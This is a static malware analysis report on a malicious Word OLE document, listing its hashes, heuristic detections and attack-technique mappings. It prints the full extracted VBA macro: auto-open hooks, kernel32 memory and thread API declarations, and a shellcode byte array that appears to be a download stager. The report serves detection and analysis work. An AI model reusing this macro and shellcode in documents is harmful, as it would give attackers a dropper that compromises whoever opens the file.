Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d7720172c974173d…

MALICIOUS

Office (OLE)

37.0 KB Created: 2014-03-04 05:28:00 Authoring application: Microsoft Macintosh Word First seen: 2015-09-18
MD5: 1b0f36a14f83215f09b45c2c143bffb0 SHA-1: 3d2286684d965bf57d6e36bf8216ccbc7c941e05 SHA-256: d7720172c974173d09c7d1ae9979ebc0a20f1760bcde53eb38a3848a8166e54d
206 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious OLE document that leverages the CVE-2007-3899 vulnerability in Microsoft Word. It contains VBA macros that utilize the VirtualAlloc API, indicating an attempt to allocate memory for shellcode execution. The presence of an AutoOpen macro suggests automatic execution upon opening the document, likely to download and execute a secondary payload.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Nkcsw As Long, Wqdznwzfv As Variant, Bqyo As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3735 bytes
SHA-256: 448060e464541f351db6020e47c97ef01baedaa4583fb2c9458fe312fe2088f8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Vba7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Oynsodi As Long, ByVal Gmppcwrr As Long, ByVal Hcj As LongPtr, Ceaztry As Long, ByVal Ltw As Long, Qwxbezml As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hudgs As Long, ByVal Boihnesfr As Long, ByVal Moamcg As Long, ByVal Aieipri As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Tmwgxx As LongPtr, ByRef Zipscpd As Any, ByVal Hlqecfkw As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Oynsodi As Long, ByVal Gmppcwrr As Long, ByVal Hcj As Long, Ceaztry As Long, ByVal Ltw As Long, Qwxbezml As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Hudgs As Long, ByVal Boihnesfr As Long, ByVal Moamcg As Long, ByVal Aieipri As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Tmwgxx As Long, ByRef Zipscpd As Any, ByVal Hlqecfkw As Long) As Long
#End If

Sub Auto_Open()
    Dim Nkcsw As Long, Wqdznwzfv As Variant, Bqyo As Long
#If Vba7 Then
    Dim Psb As LongPtr, Gnftdaj As LongPtr
#Else
    Dim Psb As Long, Gnftdaj As Long
#End If

    Wqdznwzfv = Array(0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _
13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _
116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _
214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _
36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _
139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _
235, 134, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, _
213, 49, 255, 87, 87, 87, 87, 106, 0, 84, 104, 58, 86, 121, 167, 255, 213, 235, 75, 91, _
49, 201, 81, 81, 106, 3, 81, 81, 104, 80, 0, 0, 0, 83, 80, 104, 87, 137, 159, 198, _
255, 213, 235, 52, 89, 49, 210, 82, 104, 0, 2, 96, 132, 82, 82, 82, 81, 82, 80, 104, _
235, 85, 46, 59, 255, 213, 137, 198, 106, 16, 91, 49, 255, 87, 87, 87, 87, 86, 104, 45, _
6, 24, 123, 255, 213, 133, 192, 117, 26, 75, 116, 16, 235, 233, 235, 73, 232, 199, 255, 255, _
255, 47, 88, 85, 75, 100, 0, 0, 104, 240, 181, 162, 86, 255, 213, 106, 64, 104, 0, 16, _
0, 0, 104, 0, 0, 64, 0, 87, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, _
87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 205, 139, _
7, 1, 195, 133, 192, 117, 229, 88, 195, 232, 101, 255, 255, 255, 49, 50, 55, 46, 48, 46, _
48, 46, 49, 0)

    If (0) Then
        Psb = allocate(UBound(Wqdznwzfv) + 2)
        Gnftdaj = MoveMem(Psb + Bqyo, 232, 1)
        Gnftdaj = MoveMem(Psb + Bqyo + 1, 137, 1)
        For Bqyo = LBound(Wqdznwzfv) To UBound(Wqdznwzfv)
            Nkcsw = Wqdznwzfv(Bqyo)
            'Gnftdaj = MoveMem(Psb + Bqyo + 2, Nkcsw, 1)
        Next Bqyo
        'Gnftdaj = run(Psb)
    End If
End Sub

Sub AutoOpen()
    Auto_Open
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub

Function allocate(size)
    allocate = VirtualAlloc(0, size, &H1000, &H40)
End Function

Function MoveMem(dst, src)
    MoveMem = RtlMoveMemory(src, dst, 1)
End Function

Function run(Mem)
    run = CreateThread(0, 0, Mem, 0, 0, 0)
End Function

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